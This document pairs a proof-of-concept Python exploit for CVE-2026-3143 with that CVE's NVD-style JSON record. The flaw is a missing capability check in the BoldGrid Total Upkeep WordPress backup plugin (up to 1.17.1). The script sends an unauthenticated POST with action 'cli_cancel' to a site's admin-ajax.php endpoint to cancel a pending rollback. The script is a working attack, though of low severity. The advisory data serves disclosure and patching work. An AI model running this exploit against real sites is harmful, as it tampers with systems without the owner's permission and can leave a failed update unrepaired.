CVE-2026-3143

# PoC for CVE-2026-3143 # This script demonstrates how an unauthenticated attacker can cancel a pending rollback. import requests target_url = "http://example.com/wp-admin/admin-ajax.php" # The action parameter corresponds to the vulnerable function 'wp_ajax_cli_cancel' data = { 'action': 'cli_cancel' } try: response = requests.post(target_url, data=data) if response.status_code == 200: print("[+] Request sent successfully. Check if the rollback was cancelled.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-3143", "sourceIdentifier": "[email protected]", "published": "2026-05-01T14:16:22.190", "lastModified": "2026-05-01T15:26:24.553", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Total Upkeep – WordPress Backup Plugin plus Restore & Migrate by BoldGrid plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'wp_ajax_cli_cancel' function in all versions up to, and including, 1.17.1. This makes it possible for unauthenticated attackers to cancel a pending rollback, potentially preventing a WordPress installation from automatically reverting a failed update."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/boldgrid-backup/trunk/admin/class-boldgrid-backup-admin-auto-rollback.php#L1202", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/boldgrid-backup/trunk/admin/class-boldgrid-backup-admin-core.php#L864", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/boldgrid-backup/trunk/includes/class-boldgrid-backup.php#L459", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3480378/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f25dcd7e-8fb1-471e-bd22-782409de45c4?source=cve", "source": "[email protected]"}]}}